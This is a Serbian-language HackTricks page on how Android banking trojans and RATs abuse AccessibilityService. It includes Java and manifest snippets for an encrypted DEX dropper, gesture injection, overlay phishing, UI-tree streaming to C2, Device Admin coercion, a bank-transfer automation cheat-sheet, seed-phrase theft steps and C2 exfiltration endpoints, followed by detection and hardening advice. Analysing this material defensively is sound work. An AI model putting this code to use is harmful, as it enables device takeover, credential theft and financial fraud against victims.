Zloupotreba Android Accessibility Service
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
AccessibilityService je napravljen da pomogne korisnicima sa invaliditetom da interaguju sa Android uređajima. Nažalost, iste moćne automation APIs (global navigation, text input, gesture dispatch, overlay windows…) mogu biti zloupotrebljene od strane malware-a da steknu potpunu daljinsku kontrolu nad uređajem bez root privilegija.
Savremeni Android banking Trojans i Remote-Access-Trojans (RATs) kao što su PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i mnogi drugi slede isti recept:
- Sociotehnički ubediti žrtvu da omogući zlonamerni accessibility service (dozvola BIND_ACCESSIBILITY_SERVICE se smatra “high-risk” i zahteva eksplicitnu radnju korisnika).
- Iskoristiti servis za
- presretanje svakog UI event-a i teksta koji se pojavi na ekranu,
- ubrizgavanje sintetičkih gestova (
dispatchGesture) i globalnih akcija (performGlobalAction) da se automatizuje bilo koji zadatak koji operator želi, - iscrtavanje full-screen overlay prozora preko legitimnih aplikacija koristeći tip prozora TYPE_ACCESSIBILITY_OVERLAY (nema
SYSTEM_ALERT_WINDOWprompta!), - tiho dodeljivanje dodatnih runtime permissions klikom na sistemske dijaloge u ime žrtve.
- Eksfiltracija podataka ili izvođenje On-Device-Fraud (ODF) u realnom vremenu dok korisnik gleda potpuno normalan ekran.
Pakovani Accessibility droperi
ClayRat v3.0.8 povezuje svoj Accessibility RAT sa staged payload-om skrivenim u assets/. Pri pokretanju host APK:
- Streamuje enkriptovani blob iz
assets/*.dat. - Dekriptuje ga sa hard-coded AES/CBC ključem + IV ugrađenim u Java/Kotlin loader.
- Zapiše plaintext DEX u privatni direktorijum aplikacije i učitava ga preko
DexClassLoader, izlažući stvarne spyware klase samo u memoriji.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();
Ovaj obrazac pakovanja (ATT&CK T1406.002) drži Accessibility module van diska dok se dropper ne izvrši, čime se zaobilaze statička skeniranja potpisa i Play Protect dok korisnik ne dodeli opasne dozvole.
Traženje dozvole
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Prateći XML definiše kako će lažni dijalog izgledati:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitivi za udaljenu automatizaciju UI
Kostur automatizacije servisa pristupačnosti
```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }
</details>
Sa samo ova dva API-ja napadač može:
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati njegovim UI tree i podneti obrazac za prenos sredstava.
* Prihvatiti svaki dijalog za dozvole koji iskače.
* Instalirati/ažurirati dodatne APK-ove preko Play Store intent-a.
---
## Obrasci zloupotrebe
### 1. Overlay Phishing (Credential Harvesting)
Prozirni ili neprozirni `WebView` se dodaje u window manager:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Žrtva unosi kredencijale u lažni formular dok pozadinska aplikacija prima iste geste – nikada se ne prikaže sumnjivi “draw over other apps” prompt.
Detaljan primer: odeljak Accessibility Overlay Phishing na stranici Tapjacking.
ClayRat izlaže ovu mogućnost pomoću komandi show_block_screen / hide_block_screen koje preuzimaju overlay template-ove sa C2. Operateri mogu dinamički menjati rasporede da:
- Black out panel tako da žrtva pretpostavi da je uređaj isključen ili zamrznut dok automatizovane geste isključuju Play Protect ili odobravaju više dozvola.
- Prikažu lažne system update / battery optimization panele koji opravdavaju zašto je uređaj “zauzet” dok pozadinska automatizacija nastavlja.
- Pokažu interactive PIN pad overlay koji preslikava sistemski lock screen — malware hvata svaku cifru i strimuje je operateru čim se unese 4‑digit kod.
Pošto TYPE_ACCESSIBILITY_OVERLAY prozori nikada ne podižu SYSTEM_ALERT_WINDOW permission prompt, žrtva vidi samo mamac UI dok RAT nastavlja da interaguje sa pravim aplikacijama ispod.
2. Automatizacija prevara na uređaju
Maliciozne porodice poput PlayPraetor održavaju persistentan WebSocket kanal gde operater može izdavati visokonivo komandi (init, update, alert_arr, report_list, …). Servis prevodi te komande u niskonivo geste opisane iznad, postižući real‑time neautorizovane transakcije koje lako zaobilaze višefaktorsku autentifikaciju vezanu za taj uređaj.
3. Streamovanje i nadzor ekrana
ClayRat unapređuje uobičajeni MediaProjection trik u remote desktop stack:
turbo_screenpokreće MediaProjection consent dialog; Accessibility service klikne “Start now” tako da žrtva nikada ne interveniše.- Sa dobijenim
MediaProjectiontokenom kreiraVirtualDisplaypodržanImageReader-om, održavaForegroundServiceživim i izvlači frejmove na worker thread-ovima. - Frejmovi se JPEG/PNG enkoduju prema operaterom zadatom
set_qualityparametru (podrazumevano60ako nedostaje) i šalju preko HTTP→WebSocket upgrade-a koji reklamira customClayRemoteDesktopuser‑agent. start_desktop/stop_desktopupravljaju capture thread-ovima dokscreen_tap,screen_swipe,input_text,press_home,press_backipress_recentsreprodukuju geste protiv live framebuffer‑a.
Rezultat je VNC‑sličan feed isporučen potpuno kroz odobrene API-je — bez root ili kernel exploit-a — a ipak daje napadaču živu situacionu svest sa milisekundnom latencijom.
4. Krađa kredencijala sa zaključanog ekrana i automatsko otključavanje
ClayRat se pretplaćuje na TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED događaje emitovane od strane com.android.systemui (Keyguard). Rekonstruiše koji god zaštitnik je aktivan:
- PIN – prati pritiske tastera na numeričkoj tastaturi dok locker ne prijavi završetak.
- Password – konkatenira stringove viđene u fokusiranom password polju za svaki
AccessibilityEvent. - Pattern – beleži redosled indeksa čvorova izveden iz koordinata gesta preko 3×3 mreže.
Tajne zajedno sa metadata-om (tip zaključavanja + timestamp) serijalizuju se u SharedPreferences pod lock_password_storage. Kada operater pošalje auto_unlock, servis budi uređaj sa unlock_device / screen_on, reprodukuje sačuvane cifre ili geste kroz dispatchGesture i tiho zaobilazi keyguard tako da sledeći ODF workflow-i mogu da nastave.
5. Phishing i prikupljanje notifikacija
Prateći Notification Listener pretvara shade u phishing površinu:
get_push_notificationsisprazni svaku trenutno vidljivu notifikaciju, uključujući OTP / MFA poruke.- Komanda
notificationsuključuje/isključujenotifications_enabledflag tako da svaki budućionNotificationPosted()payload bude strimovan ka C2 u realnom vremenu. send_push_notificationdozvoljava operaterima da kreiraju lažne, interaktivne notifikacije koje se predstavljaju kao banking ili chat aplikacije; svaki tekst koji žrtva unese se parsira kao kredencijali i odmah eksfiltrira.
Pošto Accessibility može programatski otvoriti/zatvoriti notification shade, ova metoda bere tajne bez dodirivanja ciljnih aplikacija.
6. Telefonski i SMS kanal komandi
Nakon što se korisnik prisili da postavi RAT kao default SMS aplikaciju, sledeće komande pružaju potpunu kontrolu modema:
send_smsiretransmishionšalju proizvoljne ili prenete poruke na brojeve pod kontrolom napadača.messsmsiterira preko cele contacts baze da spamuje phishing linkove za worm‑like propagaciju.make_callinicira glasovne pozive koji podržavaju social‑engineering tokove.get_sms_list/get_smsiget_call_log/get_callsdump-uju inbox i istoriju poziva tako da se MFA kodovi ili metapodaci poziva mogu odmah zloupotrebiti.
U kombinaciji sa Accessibility‑pokretanim navigacijama UI‑jem, ClayRat može primiti OTP putem notifikacije/SMS-a i odmah ga uneti u ciljnu banking ili enterprise aplikaciju.
7. Otkrivanje, prikupljanje i proksiranje
Dodatne ClayRat komande mapiraju okruženje i održavaju C2 resilientnim:
get_apps/get_apps_listnabrajaju instalirane pakete (ATT&CK T1418).get_device_infoizveštava model, verziju OS-a i stanje baterije (T1426).get_cam/get_camerahvataju slike prednje kamere, dokget_keylogger_dataserijalizuje lock PIN-ove plus password-e, opise view‑ova i hints iskidane iz osetljivih polja.get_proxy_datapreuzima proxy WebSocket URL, dodaje jedinstveni device ID i pokreće job koji tuneluje HTTP/HTTPS preko istog dvosmernog kanala (T1481.002 / T1646).
PlayPraetor – tok komandi i kontrole
- HTTP(S) heartbeat – iteracija kroz hard‑coded listu dok jedan domen ne odgovori
POST /app/searchPackageNamesa aktivnim C2. - WebSocket (port 8282) – bidirekcionе JSON komande:
update– push novih conf/APK-ovaalert_arr– konfiguracija overlay template-ovareport_list– slanje liste ciljnih package imenaheartbeat_web– keep‑alive
- RTMP (port 1935) – live screen/video stream.
- REST exfiltration –
/app/saveDevice(fingerprint)/app/saveContacts|/app/saveSms|/app/uploadImageBase64/app/saveCardPwd(bank creds)
AccessibilityService je lokalni engine koji te cloud komande pretvara u fizičke interakcije.
Otkrivanje malicioznih accessibility servisa
adb shell settings get secure enabled_accessibility_services- Settings → Accessibility → Downloaded services – potražite aplikacije koje nisu iz Google Play.
- MDM / EMM rešenja mogu nametnuti
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY(Android 13+) da blokiraju sideloaded servise. - Analizirajte pokrenute servise:
adb shell dumpsys accessibility | grep "Accessibility Service"
Preporuke za jačanje bezbednosti za developere aplikacija
- Obeležite osetljive view‑ove sa
android:accessibilityDataSensitive="accessibilityDataPrivateYes"(API 34+). - Kombinujte
setFilterTouchesWhenObscured(true)saFLAG_SECUREda sprečite tap/overlay hijacking. - Detektujte overlay‑e polling‑om
WindowManager.getDefaultDisplay().getFlags()iliViewRootImplAPI‑jem. - Odbijte rad kada
Settings.canDrawOverlays()ili nepouzdan Accessibility servis bude aktivan.
ATS automation cheat-sheet (Accessibility-driven)
Malware može u potpunosti automatizovati bank app koristeći samo Accessibility API‑je. Generičke primitive:
Pomoćne metode za ATS automatizaciju
```java // Helpers inside your AccessibilityService private ListExample flow (Czech → English labels):
- “Nová platba” (Nova uplata) → klik
- “Zadat platbu” (Unesi uplatu) → klik
- “Nový příjemce” (Novi primalac) → klik
- “Domácí číslo účtu” (Domaći broj računa) → fokusiraj i
ACTION_SET_TEXT - “Další” (Dalje) → klik → … “Zaplatit” (Plati) → klik → unesi PIN
Fallback: hard-coded coordinates with dispatchGesture when text lookup fails due to custom widgets.
Also seen: pre-steps to check_limit and limit by navigating to limits UI and increasing daily limits before transfer.
Pseudo-streamovanje ekrana zasnovano na tekstu
For low-latency remote control, instead of full video streaming, dump a textual representation of the current UI tree and send it to C2 repeatedly.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
Ovo je osnova za komande kao što su txt_screen (jednokratno) i screen_live (kontinuirano).
Device Admin primitiva za prinudu
Kada se Device Admin receiver aktivira, ovi pozivi povećavaju mogućnosti za presretanje kredencijala i održavanje kontrole:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Napomena: tačna dostupnost ovih politika varira po Android verziji i OEM-u; prilikom testiranja potvrdite device policy role (admin vs owner).
Obrasci ekstrakcije seed-phrase kripto novčanika
Posmatrani tokovi za MetaMask, Trust Wallet, Blockchain.com i Phantom:
- Otključavanje ukradenim PIN-om (zabeleženim putem overlay/Accessibility) ili unetom lozinkom novčanika.
- Navigacija: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Prikupljanje fraze putem keylogging-a text nodes, secure-screen bypass-a, ili screenshot OCR kada je tekst sakriven.
- Podrška za više lokaliteta (EN/RU/CZ/SK) radi stabilizacije selektora – preferirati
viewIdResourceNamekada je dostupan, u suprotnom fallback na multilingual text matching.
NFC-relay orchestration
Accessibility/RAT moduli mogu instalirati i pokrenuti posvećenu NFC-relay aplikaciju (npr. NFSkate) kao treću fazu i čak ubaciti overlay vodič koji usmerava žrtvu kroz korake card-present relay.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
References
- Return of ClayRat: Expanded Features and Techniques
- ClayRat v3 IoCs (Zimperium)
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

